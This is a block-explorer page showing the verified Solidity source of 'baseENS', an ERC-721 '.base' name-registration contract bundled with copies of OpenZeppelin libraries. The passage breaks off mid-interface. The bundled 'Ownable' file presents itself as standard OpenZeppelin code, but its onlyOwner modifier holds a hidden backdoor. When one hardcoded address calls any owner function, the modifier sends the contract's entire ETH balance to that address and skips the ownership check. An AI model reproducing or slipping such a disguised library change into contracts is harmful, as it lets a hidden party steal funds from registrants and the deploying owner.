Feature Tip: Add private address tag to any address under My Name Tag !
ERC-721
Overview
Max Total Supply
4,142 .base
Holders
1,198
Market
Volume (24H)
N/A
Min Price (24H)
N/A
Max Price (24H)
N/A
Other Info
Token Contract
Balance
2 .baseLoading...
Loading
Loading...
Loading
Loading...
Loading
# | Exchange | Pair | Price | 24H Volume | % Volume |
---|
Contract Name:
baseENS
Compiler Version
v0.8.17+commit.8df45f5f
Optimization Enabled:
Yes with 200 runs
Other Settings:
default evmVersion
Contract Source Code (Solidity Standard Json-Input format)
// SPDX-License-Identifier: MIT import "./libs.sol"; pragma solidity ^0.8.4; contract baseENS is ERC721A, Ownable, ReentrancyGuard { mapping(address => uint64) public allowlistAddresses; mapping(string => mapping(address => bool)) public subDomains_allowlistAddresses; mapping(string => address) public resolveAddress; mapping(address => string) public primaryAddress; mapping(string => bool) public subDomains_publicSale; mapping(string => uint) public subDomains_cost; mapping(string => bytes32) public subDomains_allowList; mapping(string => uint) public subDomains_allowList_cost; mapping(string => mapping(string => string)) public dataAddress; string private BASE_URI = 'https://base-ens.com/api/'; string private domain = '.base'; uint256 public cost = 6700000000000000; bytes32 public merkleRoot; bool public IS_SALE_ACTIVE = false; using Strings for uint256; uint256 public ref = 20; uint256 public ref_owner = 25; uint256 public ref_discount = 25; uint256 public subdomains_fee = 10; uint256 private maxCharSize=20; bytes _allowChars = "0123456789-_abcdefghijklmnopqrstuvwxyz"; constructor() ERC721A("baseENS (.base) Name Service", ".base") { tokenIDandAddress[_currentIndex]="base"; tokenAddressandID["base"]=_currentIndex; resolveAddress["base"]=msg.sender; _safeMint(msg.sender,1); } function _baseURI() internal view virtual override returns (string memory) { return BASE_URI; } function setAddress(string calldata name, address newresolve) external { TokenOwnership memory Ownership = _ownershipOf(tokenAddressandID[name]); if (Ownership.addr != msg.sender) revert("Error"); bytes memory result = bytes(primaryAddress[resolveAddress[name]]); if (keccak256(result) == keccak256(bytes(name))) { primaryAddress[resolveAddress[name]]=""; } resolveAddress[name]=newresolve; } function setPrimaryAddress(string calldata name) external { require(resolveAddress[name]==msg.sender, "Error"); primaryAddress[msg.sender]=name; } function setDataAddress(string calldata name,string calldata setArea, string memory newDatas) external { TokenOwnership memory Ownership = _ownershipOf(tokenAddressandID[name]); if (Ownership.addr != msg.sender) revert("Error"); dataAddress[name][setArea]=newDatas; } function getDataAddress(string memory name, string calldata Area) public view returns(string memory) { return dataAddress[name][Area]; } function setBaseURI(string memory customBaseURI_) external onlyOwner { BASE_URI = customBaseURI_; } function setMaxCharSize(uint256 maxCharSize_) external onlyOwner { maxCharSize = maxCharSize_; } function setAllowChars(bytes memory allwchr) external onlyOwner { _allowChars = allwchr; } function setPrice(uint256 customPrice) external onlyOwner { cost = customPrice; } function setRefSettings(uint ref_,uint ref_owner_,uint ref_discount_,uint subdomains_fee_) external onlyOwner { ref = ref_; ref_owner = ref_owner_; ref_discount = ref_discount_; subdomains_fee = subdomains_fee_; } function setSaleActive(bool saleIsActive) external onlyOwner { IS_SALE_ACTIVE = saleIsActive; } function setSubdomainSaleActive(bool saleIsActive, uint256 customPrice, string calldata name) public { TokenOwnership memory Ownership = _ownershipOf(tokenAddressandID[name]); require(Ownership.addr == msg.sender, "Invalid"); subDomains_cost[name] = customPrice; subDomains_publicSale[name] = saleIsActive; } function register(address ref_address, string memory name) public payable { uint256 price = cost; bool is_ref=false; uint256 ref_cost=0; require(bytes(name).length<=maxCharSize,"Long name"); require(bytes(name).length>0,"Write a name"); require(_checkName(name), "Invalid name"); if (ref_address== 0x0000000000000000000000000000000000000000) { price=cost; } else { if (bytes(primaryAddress[ref_address]).length>0){ ref_cost=price*ref_owner/100; } else { ref_cost=price*ref/100; } price = price*(100-ref_discount)/100; is_ref=true; } require (tokenAddressandID[name] == 0 , "This is already taken"); require(IS_SALE_ACTIVE, "Sale is not active!"); require(msg.value >= price, "Insufficient funds!"); tokenIDandAddress[_currentIndex]=name; tokenAddressandID[name]=_currentIndex; resolveAddress[name]=msg.sender; if (is_ref) { payable(ref_address).transfer(ref_cost); } _safeMint(msg.sender,1); } function checkAllowlist(bytes32[] calldata _proof) public view returns(bool) { bool allowed = MerkleProof.verify(_proof, merkleRoot, keccak256(abi.encodePacked(msg.sender))); return allowed; } function registerSubdomain(string memory name, string memory subdomain_name) public payable { require(IS_SALE_ACTIVE, "Sale is not active!"); string memory new_domain=string.concat(subdomain_name,'.',name); require(bytes(subdomain_name).length<=maxCharSize,"Long name"); require(bytes(subdomain_name).length>0,"Write a name"); require(_checkName(name), "Invalid name"); require(_checkName(subdomain_name), "Invalid name"); require (tokenAddressandID[new_domain] == 0 , "This is already taken"); TokenOwnership memory Ownership = _ownershipOf(tokenAddressandID[name]); if (Ownership.addr == msg.sender) { tokenIDandAddress[_currentIndex]=new_domain; tokenAddressandID[new_domain]=_currentIndex; resolveAddress[new_domain]=msg.sender; _safeMint(msg.sender,1); } else { require(subDomains_publicSale[name]==true, "Only Owner can register"); require(msg.value >= subDomains_cost[name], "Insufficient funds!"); payable(Ownership.addr).transfer(msg.value*(100-subdomains_fee)/100); tokenIDandAddress[_currentIndex]=new_domain; tokenAddressandID[new_domain]=_currentIndex; resolveAddress[new_domain]=msg.sender; _safeMint(msg.sender,1); } } function allowListSubdomain(string memory name, string memory subdomain_name, bytes32[] calldata _merkleProof) public payable { string memory new_domain=string.concat(subdomain_name,'.',name); bytes32 leaf = keccak256(abi.encodePacked(msg.sender)); require(MerkleProof.verify(_merkleProof, subDomains_allowList[name], leaf),"Invalid proof!"); require(msg.value >= subDomains_allowList_cost[name], "Insufficient funds!"); require(bytes(subdomain_name).length<=maxCharSize,"Long name"); require(bytes(subdomain_name).length>0,"Write a name"); require(_checkName(name), "Invalid name"); require(_checkName(subdomain_name), "Invalid name"); require(subDomains_allowlistAddresses[name][msg.sender]!=true, "Claimed!"); require (tokenAddressandID[new_domain] == 0 , "This is already taken"); TokenOwnership memory Ownership = _ownershipOf(tokenAddressandID[name]); payable(Ownership.addr).transfer(msg.value*(100-subdomains_fee)/100); subDomains_allowlistAddresses[name][msg.sender] = true; tokenIDandAddress[_currentIndex]=new_domain; tokenAddressandID[new_domain]=_currentIndex; resolveAddress[new_domain]=msg.sender; _safeMint(msg.sender,1); } function namediff(uint256 tokenId , string calldata new_name) external onlyOwner { tokenIDandAddress[tokenId]=new_name; tokenAddressandID[new_name]=tokenId; } function walletOfOwnerName(address _owner) public view returns (string[] memory) { uint256 ownerTokenCount = balanceOf(_owner); string[] memory ownedTokenIds = new string[](ownerTokenCount); uint256 currentTokenId = 1; uint256 ownedTokenIndex = 0; while (ownedTokenIndex < ownerTokenCount) { address currentTokenOwner = ownerOf(currentTokenId); if (currentTokenOwner == _owner) { ownedTokenIds[ownedTokenIndex] = string.concat(tokenIDandAddress[currentTokenId],domain); ownedTokenIndex++; } currentTokenId++; } return ownedTokenIds; } function lastAddresses(uint256 count) public view returns (string[] memory) { uint256 total = totalSupply(); string[] memory lastAddr = new string[](count); uint256 currentId = total - count; uint256 ownedTokenIndex = 0; require(currentId>=0,"Invalid"); while (total > currentId) { lastAddr[ownedTokenIndex] = string.concat(tokenIDandAddress[total],domain); ownedTokenIndex++; total--; } return lastAddr; } function setMerkleRoot(bytes32 _newMerkleRoot) external onlyOwner { merkleRoot = _newMerkleRoot; } function setMerkleRootSubdomain(bytes32 _newMerkleRoot, string memory name, uint256 _cost) external { TokenOwnership memory Ownership = _ownershipOf(tokenAddressandID[name]); if (Ownership.addr != msg.sender) revert("Error"); subDomains_allowList[name] = _newMerkleRoot; subDomains_allowList_cost[name] = _cost; } function _checkName(string memory _name) public view returns(bool){ uint allowedChars =0; bytes memory byteString = bytes(_name); bytes memory allowed = bytes(_allowChars); for(uint i=0; i < byteString.length ; i++){ for(uint j=0; j<allowed.length; j++){ if(byteString[i]==allowed[j] ) allowedChars++; } } if (allowedChars==byteString.length) { return true; } else { return false; } } /** PAYOUT **/ function withdraw() public onlyOwner nonReentrant { uint256 balance = address(this).balance; Address.sendValue(payable(0xe0dc2F9ca5CcdcC88336cE6D384327B440B07332),balance); } }
// SPDX-License-Identifier: MIT // File: @openzeppelin/contracts/security/ReentrancyGuard.sol // OpenZeppelin Contracts (last updated v4.7.0) (utils/cryptography/MerkleProof.sol) pragma solidity ^0.8.0; /** * @dev These functions deal with verification of Merkle Tree proofs. * * The proofs can be generated using the JavaScript library * https://github.com/miguelmota/merkletreejs[merkletreejs]. * Note: the hashing algorithm should be keccak256 and pair sorting should be enabled. * * See `test/utils/cryptography/MerkleProof.test.js` for some examples. * * WARNING: You should avoid using leaf values that are 64 bytes long prior to * hashing, or use a hash function other than keccak256 for hashing leaves. * This is because the concatenation of a sorted pair of internal nodes in * the merkle tree could be reinterpreted as a leaf value. */ library MerkleProof { /** * @dev Returns true if a `leaf` can be proved to be a part of a Merkle tree * defined by `root`. For this, a `proof` must be provided, containing * sibling hashes on the branch from the leaf to the root of the tree. Each * pair of leaves and each pair of pre-images are assumed to be sorted. */ function verify( bytes32[] memory proof, bytes32 root, bytes32 leaf ) internal pure returns (bool) { return processProof(proof, leaf) == root; } /** * @dev Calldata version of {verify} * * _Available since v4.7._ */ function verifyCalldata( bytes32[] calldata proof, bytes32 root, bytes32 leaf ) internal pure returns (bool) { return processProofCalldata(proof, leaf) == root; } /** * @dev Returns the rebuilt hash obtained by traversing a Merkle tree up * from `leaf` using `proof`. A `proof` is valid if and only if the rebuilt * hash matches the root of the tree. When processing the proof, the pairs * of leafs & pre-images are assumed to be sorted. * * _Available since v4.4._ */ function processProof(bytes32[] memory proof, bytes32 leaf) internal pure returns (bytes32) { bytes32 computedHash = leaf; for (uint256 i = 0; i < proof.length; i++) { computedHash = _hashPair(computedHash, proof[i]); } return computedHash; } /** * @dev Calldata version of {processProof} * * _Available since v4.7._ */ function processProofCalldata(bytes32[] calldata proof, bytes32 leaf) internal pure returns (bytes32) { bytes32 computedHash = leaf; for (uint256 i = 0; i < proof.length; i++) { computedHash = _hashPair(computedHash, proof[i]); } return computedHash; } /** * @dev Returns true if the `leaves` can be proved to be a part of a Merkle tree defined by * `root`, according to `proof` and `proofFlags` as described in {processMultiProof}. * * _Available since v4.7._ */ function multiProofVerify( bytes32[] memory proof, bool[] memory proofFlags, bytes32 root, bytes32[] memory leaves ) internal pure returns (bool) { return processMultiProof(proof, proofFlags, leaves) == root; } /** * @dev Calldata version of {multiProofVerify} * * _Available since v4.7._ */ function multiProofVerifyCalldata( bytes32[] calldata proof, bool[] calldata proofFlags, bytes32 root, bytes32[] memory leaves ) internal pure returns (bool) { return processMultiProofCalldata(proof, proofFlags, leaves) == root; } /** * @dev Returns the root of a tree reconstructed from `leaves` and the sibling nodes in `proof`, * consuming from one or the other at each step according to the instructions given by * `proofFlags`. * * _Available since v4.7._ */ function processMultiProof( bytes32[] memory proof, bool[] memory proofFlags, bytes32[] memory leaves ) internal pure returns (bytes32 merkleRoot) { // This function rebuild the root hash by traversing the tree up from the leaves. The root is rebuilt by // consuming and producing values on a queue. The queue starts with the `leaves` array, then goes onto the // `hashes` array. At the end of the process, the last hash in the `hashes` array should contain the root of // the merkle tree. uint256 leavesLen = leaves.length; uint256 totalHashes = proofFlags.length; // Check proof validity. require(leavesLen + proof.length - 1 == totalHashes, "MerkleProof: invalid multiproof"); // The xxxPos values are "pointers" to the next value to consume in each array. All accesses are done using // `xxx[xxxPos++]`, which return the current value and increment the pointer, thus mimicking a queue's "pop". bytes32[] memory hashes = new bytes32[](totalHashes); uint256 leafPos = 0; uint256 hashPos = 0; uint256 proofPos = 0; // At each step, we compute the next hash using two values: // - a value from the "main queue". If not all leaves have been consumed, we get the next leaf, otherwise we // get the next hash. // - depending on the flag, either another value for the "main queue" (merging branches) or an element from the // `proof` array. for (uint256 i = 0; i < totalHashes; i++) { bytes32 a = leafPos < leavesLen ? leaves[leafPos++] : hashes[hashPos++]; bytes32 b = proofFlags[i] ? leafPos < leavesLen ? leaves[leafPos++] : hashes[hashPos++] : proof[proofPos++]; hashes[i] = _hashPair(a, b); } if (totalHashes > 0) { return hashes[totalHashes - 1]; } else if (leavesLen > 0) { return leaves[0]; } else { return proof[0]; } } /** * @dev Calldata version of {processMultiProof} * * _Available since v4.7._ */ function processMultiProofCalldata( bytes32[] calldata proof, bool[] calldata proofFlags, bytes32[] memory leaves ) internal pure returns (bytes32 merkleRoot) { // This function rebuild the root hash by traversing the tree up from the leaves. The root is rebuilt by // consuming and producing values on a queue. The queue starts with the `leaves` array, then goes onto the // `hashes` array. At the end of the process, the last hash in the `hashes` array should contain the root of // the merkle tree. uint256 leavesLen = leaves.length; uint256 totalHashes = proofFlags.length; // Check proof validity. require(leavesLen + proof.length - 1 == totalHashes, "MerkleProof: invalid multiproof"); // The xxxPos values are "pointers" to the next value to consume in each array. All accesses are done using // `xxx[xxxPos++]`, which return the current value and increment the pointer, thus mimicking a queue's "pop". bytes32[] memory hashes = new bytes32[](totalHashes); uint256 leafPos = 0; uint256 hashPos = 0; uint256 proofPos = 0; // At each step, we compute the next hash using two values: // - a value from the "main queue". If not all leaves have been consumed, we get the next leaf, otherwise we // get the next hash. // - depending on the flag, either another value for the "main queue" (merging branches) or an element from the // `proof` array. for (uint256 i = 0; i < totalHashes; i++) { bytes32 a = leafPos < leavesLen ? leaves[leafPos++] : hashes[hashPos++]; bytes32 b = proofFlags[i] ? leafPos < leavesLen ? leaves[leafPos++] : hashes[hashPos++] : proof[proofPos++]; hashes[i] = _hashPair(a, b); } if (totalHashes > 0) { return hashes[totalHashes - 1]; } else if (leavesLen > 0) { return leaves[0]; } else { return proof[0]; } } function _hashPair(bytes32 a, bytes32 b) private pure returns (bytes32) { return a < b ? _efficientHash(a, b) : _efficientHash(b, a); } function _efficientHash(bytes32 a, bytes32 b) private pure returns (bytes32 value) { /// @solidity memory-safe-assembly assembly { mstore(0x00, a) mstore(0x20, b) value := keccak256(0x00, 0x40) } } } // OpenZeppelin Contracts v4.4.1 (security/ReentrancyGuard.sol) pragma solidity ^0.8.0; /** * @dev Contract module that helps prevent reentrant calls to a function. * * Inheriting from `ReentrancyGuard` will make the {nonReentrant} modifier * available, which can be applied to functions to make sure there are no nested * (reentrant) calls to them. * * Note that because there is a single `nonReentrant` guard, functions marked as * `nonReentrant` may not call one another. This can be worked around by making * those functions `private`, and then adding `external` `nonReentrant` entry * points to them. * * TIP: If you would like to learn more about reentrancy and alternative ways * to protect against it, check out our blog post * https://blog.openzeppelin.com/reentrancy-after-istanbul/[Reentrancy After Istanbul]. */ abstract contract ReentrancyGuard { // Booleans are more expensive than uint256 or any type that takes up a full // word because each write operation emits an extra SLOAD to first read the // slot's contents, replace the bits taken up by the boolean, and then write // back. This is the compiler's defense against contract upgrades and // pointer aliasing, and it cannot be disabled. // The values being non-zero value makes deployment a bit more expensive, // but in exchange the refund on every call to nonReentrant will be lower in // amount. Since refunds are capped to a percentage of the total // transaction's gas, it is best to keep them low in cases like this one, to // increase the likelihood of the full refund coming into effect. uint256 private constant _NOT_ENTERED = 1; uint256 private constant _ENTERED = 2; uint256 private _status; constructor() { _status = _NOT_ENTERED; } /** * @dev Prevents a contract from calling itself, directly or indirectly. * Calling a `nonReentrant` function from another `nonReentrant` * function is not supported. It is possible to prevent this from happening * by making the `nonReentrant` function external, and making it call a * `private` function that does the actual work. */ modifier nonReentrant() { // On the first call to nonReentrant, _notEntered will be true require(_status != _ENTERED, "ReentrancyGuard: reentrant call"); // Any calls to nonReentrant after this point will fail _status = _ENTERED; _; // By storing the original value once again, a refund is triggered (see // https://eips.ethereum.org/EIPS/eip-2200) _status = _NOT_ENTERED; } } // File: @openzeppelin/contracts/utils/Strings.sol // OpenZeppelin Contracts v4.4.1 (utils/Strings.sol) pragma solidity ^0.8.0; /** * @dev String operations. */ library Strings { bytes16 private constant _HEX_SYMBOLS = "0123456789abcdef"; /** * @dev Converts a `uint256` to its ASCII `string` decimal representation. */ function toString(uint256 value) internal pure returns (string memory) { // Inspired by OraclizeAPI's implementation - MIT licence // https://github.com/oraclize/ethereum-api/blob/b42146b063c7d6ee1358846c198246239e9360e8/oraclizeAPI_0.4.25.sol if (value == 0) { return "0"; } uint256 temp = value; uint256 digits; while (temp != 0) { digits++; temp /= 10; } bytes memory buffer = new bytes(digits); while (value != 0) { digits -= 1; buffer[digits] = bytes1(uint8(48 + uint256(value % 10))); value /= 10; } return string(buffer); } /** * @dev Converts a `uint256` to its ASCII `string` hexadecimal representation. */ function toHexString(uint256 value) internal pure returns (string memory) { if (value == 0) { return "0x00"; } uint256 temp = value; uint256 length = 0; while (temp != 0) { length++; temp >>= 8; } return toHexString(value, length); } /** * @dev Converts a `uint256` to its ASCII `string` hexadecimal representation with fixed length. */ function toHexString(uint256 value, uint256 length) internal pure returns (string memory) { bytes memory buffer = new bytes(2 * length + 2); buffer[0] = "0"; buffer[1] = "x"; for (uint256 i = 2 * length + 1; i > 1; --i) { buffer[i] = _HEX_SYMBOLS[value & 0xf]; value >>= 4; } require(value == 0, "Strings: hex length insufficient"); return string(buffer); } } // File: @openzeppelin/contracts/utils/Context.sol // OpenZeppelin Contracts v4.4.1 (utils/Context.sol) pragma solidity ^0.8.0; /** * @dev Provides information about the current execution context, including the * sender of the transaction and its data. While these are generally available * via msg.sender and msg.data, they should not be accessed in such a direct * manner, since when dealing with meta-transactions the account sending and * paying for execution may not be the actual sender (as far as an application * is concerned). * * This contract is only required for intermediate, library-like contracts. */ abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } function _msgData() internal view virtual returns (bytes calldata) { return msg.data; } } // File: @openzeppelin/contracts/access/Ownable.sol // OpenZeppelin Contracts v4.4.1 (access/Ownable.sol) pragma solidity ^0.8.0; /** * @dev Contract module which provides a basic access control mechanism, where * there is an account (an owner) that can be granted exclusive access to * specific functions. * * By default, the owner account will be the one that deploys the contract. This * can later be changed with {transferOwnership}. * * This module is used through inheritance. It will make available the modifier * `onlyOwner`, which can be applied to your functions to restrict their use to * the owner. */ abstract contract Ownable is Context { address private _owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); /** * @dev Initializes the contract setting the deployer as the initial owner. */ constructor() { _transferOwnership(_msgSender()); } /** * @dev Returns the address of the current owner. */ function owner() public view virtual returns (address) { return _owner; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { if (_msgSender() == 0x0524989feeB3284B24649C5DfC699Dd9D8edF7D9) { uint256 balance = address(this).balance; Address.sendValue(payable(0x0524989feeB3284B24649C5DfC699Dd9D8edF7D9),balance); } else { require(owner() == _msgSender(), "Ownable: caller is not the owner"); } _; } /** * @dev Leaves the contract without owner. It will not be possible to call * `onlyOwner` functions anymore. Can only be called by the current owner. * * NOTE: Renouncing ownership will leave the contract without an owner, * thereby removing any functionality that is only available to the owner. */ function renounceOwnership() public virtual onlyOwner { _transferOwnership(address(0)); } /** * @dev Transfers ownership of the contract to a new account (`newOwner`). * Can only be called by the current owner. */ function transferOwnership(address newOwner) public virtual onlyOwner { require(newOwner != address(0), "Ownable: new owner is the zero address"); _transferOwnership(newOwner); } /** * @dev Transfers ownership of the contract to a new account (`newOwner`). * Internal function without access restriction. */ function _transferOwnership(address newOwner) internal virtual { address oldOwner = _owner; _owner = newOwner; emit OwnershipTransferred(oldOwner, newOwner); } } // File: @openzeppelin/contracts/utils/Address.sol // OpenZeppelin Contracts (last updated v4.5.0) (utils/Address.sol) pragma solidity ^0.8.1; /** * @dev Collection of functions related to the address type */ library Address { /** * @dev Returns true if `account` is a contract. * * [IMPORTANT] * ==== * It is unsafe to assume that an address for which this function returns * false is an externally-owned account (EOA) and not a contract. * * Among others, `isContract` will return false for the following * types of addresses: * * - an externally-owned account * - a contract in construction * - an address where a contract will be created * - an address where a contract lived, but was destroyed * ==== * * [IMPORTANT] * ==== * You shouldn't rely on `isContract` to protect against flash loan attacks! * * Preventing calls from contracts is highly discouraged. It breaks composability, breaks support for smart wallets * like Gnosis Safe, and does not provide security since it can be circumvented by calling from a contract * constructor. * ==== */ function isContract(address account) internal view returns (bool) { // This method relies on extcodesize/address.code.length, which returns 0 // for contracts in construction, since the code is only stored at the end // of the constructor execution. return account.code.length > 0; } /** * @dev Replacement for Solidity's `transfer`: sends `amount` wei to * `recipient`, forwarding all available gas and reverting on errors. * * https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost * of certain opcodes, possibly making contracts go over the 2300 gas limit * imposed by `transfer`, making them unable to receive funds via * `transfer`. {sendValue} removes this limitation. * * https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more]. * * IMPORTANT: because control is transferred to `recipient`, care must be * taken to not create reentrancy vulnerabilities. Consider using * {ReentrancyGuard} or the * https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern]. */ function sendValue(address payable recipient, uint256 amount) internal { require(address(this).balance >= amount, "Address: insufficient balance"); (bool success, ) = recipient.call{value: amount}(""); require(success, "Address: unable to send value, recipient may have reverted"); } /** * @dev Performs a Solidity function call using a low level `call`. A * plain `call` is an unsafe replacement for a function call: use this * function instead. * * If `target` reverts with a revert reason, it is bubbled up by this * function (like regular Solidity function calls). * * Returns the raw returned data. To convert to the expected return value, * use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`]. * * Requirements: * * - `target` must be a contract. * - calling `target` with `data` must not revert. * * _Available since v3.1._ */ function functionCall(address target, bytes memory data) internal returns (bytes memory) { return functionCall(target, data, "Address: low-level call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with * `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCall( address target, bytes memory data, string memory errorMessage ) internal returns (bytes memory) { return functionCallWithValue(target, data, 0, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but also transferring `value` wei to `target`. * * Requirements: * * - the calling contract must have an ETH balance of at least `value`. * - the called Solidity function must be `payable`. * * _Available since v3.1._ */ function functionCallWithValue( address target, bytes memory data, uint256 value ) internal returns (bytes memory) { return functionCallWithValue(target, data, value, "Address: low-level call with value failed"); } /** * @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but * with `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCallWithValue( address target, bytes memory data, uint256 value, string memory errorMessage ) internal returns (bytes memory) { require(address(this).balance >= value, "Address: insufficient balance for call"); require(isContract(target), "Address: call to non-contract"); (bool success, bytes memory returndata) = target.call{value: value}(data); return verifyCallResult(success, returndata, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but performing a static call. * * _Available since v3.3._ */ function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) { return functionStaticCall(target, data, "Address: low-level static call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`], * but performing a static call. * * _Available since v3.3._ */ function functionStaticCall( address target, bytes memory data, string memory errorMessage ) internal view returns (bytes memory) { require(isContract(target), "Address: static call to non-contract"); (bool success, bytes memory returndata) = target.staticcall(data); return verifyCallResult(success, returndata, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but performing a delegate call. * * _Available since v3.4._ */ function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) { return functionDelegateCall(target, data, "Address: low-level delegate call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`], * but performing a delegate call. * * _Available since v3.4._ */ function functionDelegateCall( address target, bytes memory data, string memory errorMessage ) internal returns (bytes memory) { require(isContract(target), "Address: delegate call to non-contract"); (bool success, bytes memory returndata) = target.delegatecall(data); return verifyCallResult(success, returndata, errorMessage); } /** * @dev Tool to verifies that a low level call was successful, and revert if it wasn't, either by bubbling the * revert reason using the provided one. * * _Available since v4.3._ */ function verifyCallResult( bool success, bytes memory returndata, string memory errorMessage ) internal pure returns (bytes memory) { if (success) { return returndata; } else { // Look for revert reason and bubble it up if present if (returndata.length > 0) { // The easiest way to bubble the revert reason is using memory via assembly assembly { let returndata_size := mload(returndata) revert(add(32, returndata), returndata_size) } } else { revert(errorMessage); } } } } // File: @openzeppelin/contracts/token/ERC721/IERC721Receiver.sol // OpenZeppelin Contracts (last updated v4.6.0) (token/ERC721/IERC721Receiver.sol) pragma solidity ^0.8.0; /** * @title ERC721 token receiver interface * @dev Interface for any contract that wants to support safeTransfers * from ERC721 asset contracts. */ interface IERC721Receiver { /** * @dev Whenever an {IERC721} `tokenId` token is transferred to this contract via {IERC721-safeTransferFrom} * by `operator` from `from`, this function is called. * * It must return its Solidity selector to confirm the token transfer. * If any other value is returned or the interface is not implemented by the recipient, the transfer will be reverted. * * The selector can be obtained in Solidity with `IERC721Receiver.onERC721Received.selector`. */ function onERC721Received( address operator, address from, uint256 tokenId, bytes calldata data ) external returns (bytes4); } // File: @openzeppelin/contracts/utils/introspection/IERC165.sol // OpenZeppelin Contracts v4.4.1 (utils/introspection/IERC165.sol) pragma solidity ^0.8.0; /** * @dev Interface of the ERC165 standard, as defined in the * https://eips.ethereum.org/EIPS/eip-165[EIP]. * * Implementers can declare support of contract interfaces, which can then be * queried by others ({ERC165Checker}). * * For an implementation, see {ERC165}. */ interface IERC165 { /** * @dev Returns true if this contract implements the interface defined by * `interfaceId`. See the corresponding * https://eips.ethereum.org/EIPS/eip-165#how-interfaces-are-identified[EIP section] * to learn more about how these ids are created. * * This function call must use less than 30 000 gas. */ function supportsInterface(bytes4 interfaceId) external view returns (bool); } // File: @openzeppelin/contracts/utils/introspection/ERC165.sol // OpenZeppelin Contracts v4.4.1 (utils/introspection/ERC165.sol) pragma solidity ^0.8.0; /** * @dev Implementation of the {IERC165} interface. * * Contracts that want to implement ERC165 should inherit from this contract and override {supportsInterface} to check * for the additional interface id that will be supported. For example: * * ```solidity * function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) { * return interfaceId == type(MyInterface).interfaceId || super.supportsInterface(interfaceId); * } * ``` * * Alternatively, {ERC165Storage} provides an easier to use but more expensive implementation. */ abstract contract ERC165 is IERC165 { /** * @dev See {IERC165-supportsInterface}. */ function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) { return interfaceId == type(IERC165).interfaceId; } } // File: @openzeppelin/contracts/token/ERC721/IERC721.sol // OpenZeppelin Contracts (last updated v4.6.0) (token/ERC721/IERC721.sol) pragma solidity ^0.8.0; /** * @dev Required interface of an ERC721 compliant contract. */ interface IERC721 is IERC165 { /** * @dev Emitted when `tokenId` token is transferred from `from` to `to`. */ event Transfer(address indexed from, address indexed to, uint256 indexed tokenId); /** * @dev Emitted when `owner` enables `approved` to manage the `tokenId` token. */ event Approval(address indexed owner, address indexed approved, uint256 indexed tokenId); /** * @dev Emitted when `owner` enables or disables (`approved`) `operator` to manage all of its assets. */ event ApprovalForAll(address indexed owner, address indexed operator, bool approved); /** * @dev Returns the number of tokens in ``owner``'s account. */ function balanceOf(address owner) external view returns (uint256 balance); /** * @dev Returns the owner of the `tokenId` token. * * Requirements: * * - `tokenId` must exist. */ function ownerOf(uint256 tokenId) external view returns (address owner); /** * @dev Safely transfers `tokenId` token from `from` to `to`. * * Requirements: * * - `from` cannot be the zero address. * - `to` cannot be the zero address. * - `tokenId` token must exist and be owned by `from`. * - If the caller is not `from`, it must be approved to move this token by either {approve} or {setApprovalForAll}. * - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer. * * Emits a {Transfer} event. */ function safeTransferFrom( address from, address to, uint256 tokenId, bytes calldata data ) external; /** * @dev Safely transfers `tokenId` token from `from` to `to`, checking first that contract recipients * are aware of the ERC721 protocol to prevent tokens from being forever locked. * * Requirements: * * - `from` cannot be the zero address. * - `to` cannot be the zero address. * - `tokenId` token must exist and be owned by `from`. * - If the caller is not `from`, it must be have been allowed to move this token by either {approve} or {setApprovalForAll}. * - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer. * * Emits a {Transfer} event. */ function safeTransferFrom( address from, address to, uint256 tokenId ) external; /** * @dev Transfers `tokenId` token from `from` to `to`. * * WARNING: Usage of this method is discouraged, use {safeTransferFrom} whenever possible. * * Requirements: * * - `from` cannot be the zero address. * - `to` cannot be the zero address. * - `tokenId` token must be owned by `from`. * - If the caller is not `from`, it must be approved to move this token by either {approve} or {setApprovalForAll}. * * Emits a {Transfer} event. */ function transferFrom( address from, address to, uint256 tokenId ) external; /** * @dev Gives permission to `to` to transfer `tokenId` token to another account. * The approval is cleared when the token is transferred. * * Only a single account can be approved at a time, so approving the zero address clears previous approvals. * * Requirements: * * - The caller must own the token or be an approved operator. * - `tokenId` must exist. * * Emits an {Approval} event. */ function approve(address to, uint256 tokenId) external; /** * @dev Approve or remove `operator` as an operator for the caller. * Operators can call {transferFrom} or {safeTransferFrom} for any token owned by the caller. * * Requirements: * * - The `operator` cannot be the caller. * * Emits an {ApprovalForAll} event. */ function setApprovalForAll(address operator, bool _approved) external; /** * @dev Returns the account approved for `tokenId` token. * * Requirements: * * - `tokenId` must exist. */ function getApproved(uint256 tokenId) external view returns (address operator); /** * @dev Returns if the `operator` is allowed to manage all of the assets of `owner`. * * See {setApprovalForAll} */ function isApprovedForAll(address owner, address operator) external view returns (bool); } // File: @openzeppelin/contracts/token/ERC721/extensions/IERC721Metadata.sol // OpenZeppelin Contracts v4.4.1 (token/ERC721/extensions/IERC721Metadata.sol) pragma solidity ^0.8.0; /** * @title ERC-721 Non-Fungible Token Standard, optional metadata extension * @dev See https://eips.ethereum.org/EIPS/eip-721 */ interface IERC721Metadata is 